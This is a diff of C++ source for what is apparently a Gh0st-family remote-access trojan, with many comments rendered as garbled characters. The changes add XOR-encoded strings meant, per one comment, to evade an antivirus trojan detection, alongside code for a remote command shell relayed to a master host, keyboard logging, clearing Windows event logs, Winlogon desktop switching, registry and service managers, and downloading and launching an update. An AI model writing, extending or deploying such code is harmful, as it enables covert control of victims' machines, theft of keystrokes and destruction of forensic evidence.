&sa, // __in SECURITY_ATTRIBUTES<45><EFBFBD><E1B9B9>ָ<EFBFBD><D6B8> <20>Ӳⷵ<D3B2>صľ<D8B5><C4BE><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD>ӽ<EFBFBD><D3BD>̼̳У<CCB3>ΪNULL<4C><4C><EFBFBD>ܼ̳<DCBC> <20><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1B9B9>
0 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ0ʱʹ<CAB1><CAB9>Ĭ<EFBFBD>ϴ<EFBFBD>С
))
{
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
@@ -112,10 +119,10 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
NotifyDialogIsOpen();
return;
}
unsigned long ByteWrite;
m_UserShell = TRUE;
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &m_ByteWrite, NULL);
}
@@ -123,6 +130,7 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
{
unsigned long BytesRead = 0;
unsigned long BytesReads = 0;
char ReadBuff[1024];
DWORD TotalBytesAvail;
CShellManager *pThis = (CShellManager *)lparam;
@@ -137,11 +145,25 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
if (BytesRead <= 0)
break;
memset(ReadBuff, 0, sizeof(ReadBuff));
LPBYTE lpBuffers = NULL;
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
if (pThis->m_UserShell)
{
lpBuffers = &lpBuffer[pThis->m_ByteWrite - 2];
BytesReads = BytesRead - pThis->m_ByteWrite + 2;
}
else
{
lpBuffers = lpBuffer;
BytesReads = BytesRead;
}
pThis->m_UserShell = false;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->Send(lpBuffer, BytesRead);
pThis->Send(lpBuffers, BytesReads);
LocalFree(lpBuffer);
}
}

View File

@@ -28,6 +28,8 @@ private:
HANDLE m_hThreadRead;
HANDLE m_hThreadMonitor;
unsigned long m_ByteWrite;
bool m_UserShell;
static DWORD WINAPI ReadPipeThread(LPVOID lparam);
static DWORD WINAPI MonitorThread(LPVOID lparam);
};

View File

@@ -17,17 +17,20 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount);
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
{
m_caseSystemIs = bHow;
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendProcessList();
}
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendWindowsList();
}
else if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendProcessList();
}
}
CSystemManager::~CSystemManager()
@@ -342,10 +345,16 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
GetWindowText(hwnd, strTitle, sizeof(strTitle));
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
if (IsWindowVisible(hwnd))
return true;
//GetWindowText(hwnd, strTitle, sizeof(strTitle));
GetWindowTextSafe(hwnd, strTitle, sizeof(strTitle));
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
if (lstrlen(strTitle) == 0)
{
OutputDebugString("lstrlen");
return true;
}
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
@@ -401,4 +410,52 @@ void CSystemManager::ShowTheWindow(LPBYTE buf)
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow((HWND__ *)hwnd, dHow);
}
int GetWindowTextSafe(HWND hWnd, LPTSTR lpString, int nMaxCount)
{
if (NULL == hWnd || FALSE == IsWindow(hWnd) || NULL == lpString || 0 == nMaxCount)
{
return GetWindowText(hWnd, lpString, nMaxCount);
}
DWORD dwHwndProcessID = 0;
DWORD dwHwndThreadID = 0;
dwHwndThreadID = GetWindowThreadProcessId(hWnd, &dwHwndProcessID); //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><C4BD>̺<EFBFBD><CCBA>߳<EFBFBD>ID
if (dwHwndProcessID != GetCurrentProcessId()) //<2F><><EFBFBD>ڽ<EFBFBD><DABD>̲<EFBFBD><CCB2>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ý<EFBFBD><C3BD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
return GetWindowText(hWnd, lpString, nMaxCount);
}
//<2F><><EFBFBD>ڽ<EFBFBD><DABD><EFBFBD><EFBFBD>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
if (dwHwndThreadID == GetCurrentThreadId()) //<2F><><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE>ǵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
return GetWindowText(hWnd, lpString, nMaxCount);
}
#ifndef _UNICODE
WCHAR *lpStringUnicode = new WCHAR[nMaxCount];
InternalGetWindowText(hWnd, lpStringUnicode, nMaxCount);
int size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, NULL, 0, NULL, NULL);
if (size <= nMaxCount)
{
size = WideCharToMultiByte(CP_ACP, 0, lpStringUnicode, -1, lpString, size, NULL, NULL);
if (NULL != lpStringUnicode)
{
delete[]lpStringUnicode;
lpStringUnicode = NULL;
}
return size;
}
if (NULL != lpStringUnicode)
{
delete[]lpStringUnicode;
lpStringUnicode = NULL;
}
return 0;
#else
return InternalGetWindowText(hWnd, lpString, nMaxCount);
#endif
}

View File

@@ -34,6 +34,7 @@ private:
void KillProcess(LPBYTE lpBuffer, UINT nSize);
void ShowTheWindow(LPBYTE buf);
void CloseTheWindow(LPBYTE buf);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)

View File

@@ -3,8 +3,8 @@
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoCap.h"
//#include "..\DynamicAPI.h"
#include "..\DynamicAPI.h"
#include "..\StrCry.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
@@ -21,18 +21,25 @@ CVideoCap::CVideoCap()
if (!IsWebCam() || m_bIsConnected)
return;
//"#32770Ĭ<30>ϵĴ<CFB5><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
char classname32770[] = { 0x06,0xe8,0xf9,0xfb,0xff,0xf0,0xf6 }; //#32770
char* lpClassName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//m_hWnd = CreateWindow(lpClassName, /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
m_hWnd = CreateWindow("#32770", /* Dialog */ "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
m_hWndCap = capCreateCaptureWindow
(
"CVideoCap",
WS_CHILD | WS_VISIBLE,
0,
0,
0,
0,
m_hWnd,
0
);
memset(lpClassName, 0, classname32770[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete lpClassName;
char VideoCapWindow[] = { 0x0e,0x9d,0xa3,0xad,0xad,0xa8,0x85,0xa4,0xb4,0x94,0xab,0xaf,0xa4,0xd0,0xc9 }; //VideoCapWindow
char* lpszWindowName = decodeStr(classname32770); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
m_hWndCap = capCreateCaptureWindow(lpszWindowName, WS_CHILD | WS_VISIBLE, 0, 0, 0, 0, m_hWnd, 0);
memset(lpszWindowName, 0, VideoCapWindow[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete lpszWindowName;
}
CVideoCap::~CVideoCap()

View File

@@ -98,7 +98,19 @@ bool getLoginInfo(char *lpURL, char **lppszHost, LPDWORD lppPort, char **lppszPr
HINTERNET hNet;
HINTERNET hFile;
//strcry----------------------------------------------------
//char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
//char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//
//hNet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
//
//memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
//delete pMozilla;
hNet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, INTERNET_INVALID_PORT_NUMBER, 0);
//----------------------------------------------------------
if (hNet == NULL)
return bRet;
hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
@@ -139,9 +151,30 @@ DWORD CPUClockMhz()
DWORD dwCPUMhz;
DWORD dwBytes = sizeof(DWORD);
DWORD dwType = REG_DWORD;
//HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0
//Anti Anti- Virus eset : a variant of Win32/Farfli.ADV trojan
char HARDWARE[] = { 0x2e,0x83,0x8b,0x9b,0x8c,0x90,0x87,
0x97,0x81,0x9f,0x86,0x84,0x93,0xfc,0xec,0xf4,0xec,
0xef,0xf3,0xf6,0xf6,0xeb,0xe5,0xcc,0xc7,0xc7,0xd7,
0xdc,0xec,0xec,0xcb,0xc3,0xd8,0xd9,0xcb,0xc5,0xf8,
0xd5,0xc9,0xc6,0xc1,0xd0,0xd1,0xce,0xd2,0xc3,0xae
}; //WinSta0\Default
char* pHARDWARE = decodeStr(HARDWARE); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//RegOpenKey(HKEY_LOCAL_MACHINE, pHARDWARE, &hKey);
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
//------------------------------------------------------------------------------------------------
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
RegCloseKey(hKey);
memset(pHARDWARE, 0, HARDWARE[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pHARDWARE;
return dwCPUMhz;
}
@@ -163,12 +196,26 @@ UINT GetHostRemark(LPCTSTR lpServiceName, LPTSTR lpBuffer, UINT uSize)
char strSubKey[1024];
memset(lpBuffer, 0, uSize);
memset(strSubKey, 0, sizeof(strSubKey));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
//strcry SYSTEM\CurrentControlSet\Services\%s
char Services[] = { 0x24,0x98,0x93,0x9a,0x9c,0x82,0x8b,
0x99,0x87,0xb6,0xb0,0xb3,0xa5,0xd1,0xca,0xfe,0xd3,
0xd5,0xce,0xcb,0xd7,0xdb,0xe5,0xd0,0xc0,0xef,0xe1,
0xd4,0xc2,0xd9,0xc7,0xce,0xc9,0xd8,0xf6,0x8c,0xdb }; //WinSta0\Default
char* pServices = decodeStr(Services); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//wsprintf(strSubKey, "SYSTEM\CurrentControlSet\Services\%s", lpServiceName);
wsprintf(strSubKey, pServices, lpServiceName);
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
if (lstrlen(lpBuffer) == 0)
gethostname(lpBuffer, uSize);
memset(strSubKey, 0, sizeof(strSubKey));
memset(pServices, 0, Services[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pServices;
return lstrlen(lpBuffer);
}

View File

@@ -8,6 +8,9 @@
#include "AudioManager.h"
#include "SystemManager.h"
#include "KeyboardManager.h"
#include "ServerManager.h"
#include "RegManager.h"
#include "..\StrCry.h"
#include "until.h"
#include "install.h"
#include <wininet.h>
@@ -77,9 +80,9 @@ DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
char strKeyboardOfflineRecord[MAX_PATH];
GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
lstrcat(strKeyboardOfflineRecord, "\\syslog.dat");
char strKeyboardOfflineRecord[MAX_PATH] = {0};
//GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
lstrcat(strKeyboardOfflineRecord, "C:\\syslog.dat");
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
g_bSignalHook = true;
@@ -186,8 +189,19 @@ bool UpdateServer(LPCTSTR lpURL)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
si.lpDesktop = "WinSta0\\Default";
return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
//strcry
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\Default
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//si.lpDesktop = "WinSta0\\Default";
si.lpDesktop = pWinSta0;
bool trueOrFales = CreateProcess(lpFileName, "CcRmt Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinSta0;
return trueOrFales;
}
@@ -197,15 +211,33 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
return false;
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
char *lpSubKey = "Applications\\iexplore.exe\\shell\\open\\command";
//Applications\\iexplore.exe\\shell\\open\\command
char Applications[] = { 0x2c,0x8a,0xba,0xb9,0xa4,0xae,
0xa5,0xa4,0xb0,0xaa,0xad,0xaf,0xb3,0xe3,0xd7,0xd8,
0xc4,0xcb,0xd6,0xd6,0xca,0xd2,0x98,0xd0,0xcc,0xd6,
0xee,0xc2,0xd8,0xca,0xc2,0xc1,0xf0,0xc4,0xda,0xcc,
0xc6,0xfb,0xc5,0xca,0xc9,0xce,0xc3,0xcf,0xc4 };
char* pApplications = decodeStr(Applications); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
char *lpSubKey = pApplications;
HKEY hKey;
char strIEPath[MAX_PATH];
LONG nSize = sizeof(strIEPath);
char *lpstrCat = NULL;
memset(strIEPath, 0, sizeof(strIEPath));
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, "Applications\\iexplore.exe\\shell\\open\\command", 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
{
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pApplications;
return false;
}
memset(pApplications, 0, Applications[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pApplications;
RegQueryValue(hKey, NULL, strIEPath, &nSize);
RegCloseKey(hKey);
@@ -221,17 +253,35 @@ bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
si.cb = sizeof si;
//strcry
char WinSta0[] = { 0x0f,0x9c,0xa3,0xa7,0x9b,0xb3,0xa7,0xf5,0x98,0x87,0xa7,0xa7,0xa1,0xca,0xd2,0xc9 }; //WinSta0\Default
char* pWinSta0 = decodeStr(WinSta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
if (nShowCmd != SW_HIDE)
si.lpDesktop = "WinSta0\\Default";
si.lpDesktop = pWinSta0;
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
memset(pWinSta0, 0, WinSta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinSta0;
return 0;
}
void CleanEvent()
{
char *strEventName[] = {"Application", "Security", "System"};
//strcry Application Security System
char Application[] = { 0x0b,0x8a,0xba,0xb9,0xa4,0xae,0xa5,0xa4,0xb0,0xaa,0xad,0xaf };
char Security[] = { 0x08,0x98,0xaf,0xaa,0xbd,0xb5,0xaf,0xb1,0xbd };
char System[] = { 0x98,0xb3,0xba,0xbc,0xa2,0xab };
char *strEventName[3];
strEventName [0] = decodeStr(Application);
strEventName [1] = decodeStr(Security);
strEventName [2] = decodeStr(System);
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
{
@@ -241,15 +291,67 @@ void CleanEvent()
ClearEventLog(hHandle, NULL);
CloseEventLog(hHandle);
}
memset(strEventName[0], 0, Application[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete strEventName[0];
memset(strEventName[1], 0, Security[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete strEventName[1];
memset(strEventName[2], 0, System[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete strEventName[2];
}
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
{
char strSubKey[1024];
memset(strSubKey, 0, sizeof(strSubKey));
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
//strcry SYSTEM\CurrentControlSet\Services\%s
char Services[] = { 0x24,0x98,0x93,0x9a,0x9c,0x82,0x8b,
0x99,0x87,0xb6,0xb0,0xb3,0xa5,0xd1,0xca,0xfe,0xd3,
0xd5,0xce,0xcb,0xd7,0xdb,0xe5,0xd0,0xc0,0xef,0xe1,
0xd4,0xc2,0xd9,0xc7,0xce,0xc9,0xd8,0xf6,0x8c,0xdb }; //WinSta0\Default
char* pServices = decodeStr(Services); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//wsprintf(strSubKey, "SYSTEM\CurrentControlSet\Services\%s", lpServiceName);
wsprintf(strSubKey, pServices, lpServiceName);
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
memset(pServices, 0, Services[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pServices;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)
{
//OutputDebugString("DWORD WINAPI Loop_ServicesManager(SOCKET sRemote)");
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CServerManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_RegeditManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CRegManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
#endif // !defined(AFX_LOOP_H_INCLUDED)

View File

@@ -15,6 +15,7 @@
#include <stdio.h>
#include <locale.h>
#include <stdlib.h>
#include "..\StrCry.h"
unsigned int __stdcall ThreadLoader(LPVOID param)
{
unsigned int nRet = 0;
@@ -25,7 +26,7 @@ unsigned int __stdcall ThreadLoader(LPVOID param)
THREAD_ARGLIST arg;
memcpy(&arg, param, sizeof(arg));
SetEvent(arg.hEventTransferArg);
// <20><>׿<EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (arg.bInteractive)
SelectDesktop(NULL);
@@ -99,7 +100,13 @@ char *GetLogUserXP()
char *GetLogUser2K()
{
DWORD dwProcessID = GetProcessID("explorer.exe");
char explorer[] = { 0x0c,0xae,0xb2,0xb9,0xa4,0xa8,0xb4,0xa0,0xb6,0xed,0xa7,0xb9,0xa5 }; //explorer.exe
char* explorer_exe = decodeStr(explorer); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
DWORD dwProcessID = GetProcessID(explorer_exe);
memset(explorer_exe, 0, explorer[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete explorer_exe;
if (dwProcessID == 0)
return NULL;
@@ -281,11 +288,17 @@ BOOL SimulateCtrlAltDel()
HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId());
// Switch into the Winlogon desktop
char name[] = "Winlogon";
if (!SelectDesktop(name))
char Winlogon[] = { 0x08,0x9c,0xa3,0xa7,0xa4,0xa8,0xa1,0xaa,0xaa }; //Winlogon
char* pWinlogon = decodeStr(Winlogon); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//char name[] = "Winlogon";
if (!SelectDesktop(pWinlogon))
{
return FALSE;
}
memset(pWinlogon, 0, Winlogon[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pWinlogon;
// Fake a hotkey event to any windows we find there.... :(
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
@@ -306,7 +319,16 @@ bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
DWORD dwBytesWritten = 0;
BOOL bIsFirstPacket = true;
BOOL bRet = true;
hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
//strcry
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
hInternet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pMozilla;
if (hInternet == NULL)
return false;

View File

@@ -3,6 +3,27 @@
#include "common/KeyboardManager.h"
#include "common/KernelManager.h"
#include "common/login.h"
#include "common/install.h"
#include <stdio.h>
#include <shlwapi.h>
#pragma comment(lib,"shlwapi.lib")
struct Connect_Address
{
DWORD dwstact;
char strIP[MAX_PATH];
int nPort;
char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid
}g_myAddress = { 0xCC28256,"",0,"" };
DWORD WINAPI DelAXRegThread(LPVOID lpParam);
char svcname[MAX_PATH];
SERVICE_STATUS_HANDLE hServiceStatus;
DWORD g_dwCurrState;
char g_strSvchostName[MAX_PATH];//服务名
char g_strHost[MAX_PATH];
@@ -11,10 +32,10 @@ DWORD g_dwServiceType;
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,//获取信息失败
CONNECT_ERROR,//链接失败
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR, // 获取信息失败
CONNECT_ERROR, // 链接失败
HEARTBEATTIMEOUT_ERROR // 心跳超时链接失败
};
DWORD WINAPI main(char *lpServiceName);
@@ -29,6 +50,8 @@ LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo) {
DWORD WINAPI main(char *lpServiceName)
{
strcpy(g_strHost, g_myAddress.strIP);
g_dwPort = g_myAddress.nPort;
// lpServiceName,在ServiceMain返回后就没有了
char strServiceName[256] = {0};
char strKillEvent[50] = { 0 };
@@ -36,26 +59,39 @@ DWORD WINAPI main(char *lpServiceName)
//////////////////////////////////////////////////////////////////////////
// Set Window Station
HWINSTA hOldStation = GetProcessWindowStation();
//---------------------------------------------------------------------------
//char winsta0[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5};// winsta0
//char* lpszWinSta = decodeStr(winsta0); // 解密函数
//
//HWINSTA hWinSta = OpenWindowStation(lpszWinSta, FALSE, MAXIMUM_ALLOWED);
//
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); // 填充0
//delete lpszWinSta; // 释放
HWINSTA hWinSta = OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED);
//---------------------------------------------------------------------------
if (hWinSta != NULL)
SetProcessWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
//--这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
//--这里要在dllmain中为CKeyboardManager::g_hInstance赋值
// 这里判断CKeyboardManager::g_hInstance是否为空 如果不为空则开启错误处理
// 这里要在dllmain中为CKeyboardManager::g_hInstance赋值
if (CKeyboardManager::g_hInstance != NULL)
{
//设置异常
SetUnhandledExceptionFilter(bad_exception);
lstrcpy(strServiceName, lpServiceName);
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
wsprintf(strKillEvent, "Global\\CcRem %d", GetTickCount()); // 随机事件名
//wsprintf(strKillEvent, "Global\\Net_%d", GetTickCount()); // 随机事件名
